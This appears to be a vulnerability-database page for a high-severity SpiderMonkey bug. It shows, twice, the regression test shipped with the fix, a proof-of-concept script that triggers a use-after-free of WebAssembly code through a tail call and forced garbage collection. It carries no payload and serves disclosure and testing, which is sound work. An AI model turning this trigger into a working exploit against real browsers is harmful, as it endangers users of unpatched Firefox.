Firefox · SpiderMonkey
CVE-2026-100769
Logic Error in SpiderMonkey
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifjs/src/jit-test/tests/wasm/tail-calls/bug2067190.js |
modified |
Files Changed
js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
Patch
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
new file mode 100644
index 00000000000..d99c9fd9656
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
@@ -0,0 +1,56 @@
+// Regression test for a use-after-free of wasm code.
+//
+// A `return_call` into a JS import collapses the calling frame but keeps
+// running that caller's import exit stub until the import returns. The exit
+// stub lives in the caller instance's code, so the caller instance must stay
+// alive for the duration even though, after the frame collapse, no frame on
+// the stack reports it. If GC frees the instance while the import runs,
+// execution returns through freed (and possibly reclaimed) executable memory.
+//
+// The import here drops the last reference to the tail-calling instance and
+// forces a collection; the subsequent return into the exit stub must remain
+// valid.
+
+var table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance indirectly, so its own frame is the only
+// thing that would keep it alive during the call, and the tail call throws
+// that frame away.
+var driver = wasmEvalText(`(module
+ (import "m" "table" (table 1 funcref))
+ (type $t (func (result i32)))
+ (func (export "f") (result i32)
+ i32.const 0
+ call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+var pressure = [];
+
+function go() {
+ if (!armed) {
+ return 42;
+ }
+ // Drop the last reference to the tail-calling instance and collect it.
+ table.set(0, null);
+ gc();
+ return 42;
+}
+
+function install() {
+ var ins = wasmEvalText(`(module
+ (import "m" "go" (func $go (result i32)))
+ (func (export "f") (result i32)
+ return_call $go)
+ )`, {m: {go}});
+ table.set(0, ins.exports.f);
+ // `ins` is now unreachable except through table[0].
+}
+
+install();
+
+// Warm up without arming so any lazy stubs are generated first.
+assertEq(driver(), 42);
+
+armed = true;
+assertEq(driver(), 42);
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
new file mode 100644
index 00000000000..d99c9fd9656
--- /dev/null
+++ b/js/src/jit-test/tests/wasm/tail-calls/bug2067190.js
@@ -0,0 +1,56 @@
+// Regression test for a use-after-free of wasm code.
+//
+// A `return_call` into a JS import collapses the calling frame but keeps
+// running that caller's import exit stub until the import returns. The exit
+// stub lives in the caller instance's code, so the caller instance must stay
+// alive for the duration even though, after the frame collapse, no frame on
+// the stack reports it. If GC frees the instance while the import runs,
+// execution returns through freed (and possibly reclaimed) executable memory.
+//
+// The import here drops the last reference to the tail-calling instance and
+// forces a collection; the subsequent return into the exit stub must remain
+// valid.
+
+var table = new WebAssembly.Table({element: "anyfunc", initial: 1});
+
+// Reaches the tail-calling instance indirectly, so its own frame is the only
+// thing that would keep it alive during the call, and the tail call throws
+// that frame away.
+var driver = wasmEvalText(`(module
+ (import "m" "table" (table 1 funcref))
+ (type $t (func (result i32)))
+ (func (export "f") (result i32)
+ i32.const 0
+ call_indirect (type $t))
+)`, {m: {table}}).exports.f;
+
+var armed = false;
+var pressure = [];
+
+function go() {
+ if (!armed) {
+ return 42;
+ }
+ // Drop the last reference to the tail-calling instance and collect it.
+ table.set(0, null);
+ gc();
+ return 42;
+}
+
+function install() {
+ var ins = wasmEvalText(`(module
+ (import "m" "go" (func $go (result i32)))
+ (func (export "f") (result i32)
+ return_call $go)
+ )`, {m: {go}});
+ table.set(0, ins.exports.f);
+ // `ins` is now unreachable except through table[0].
+}
+
+install();
+
+// Warm up without arming so any lazy stubs are generated first.
+assertEq(driver(), 42);
+
+armed = true;
+assertEq(driver(), 42);
Loading diff…
References
On This Page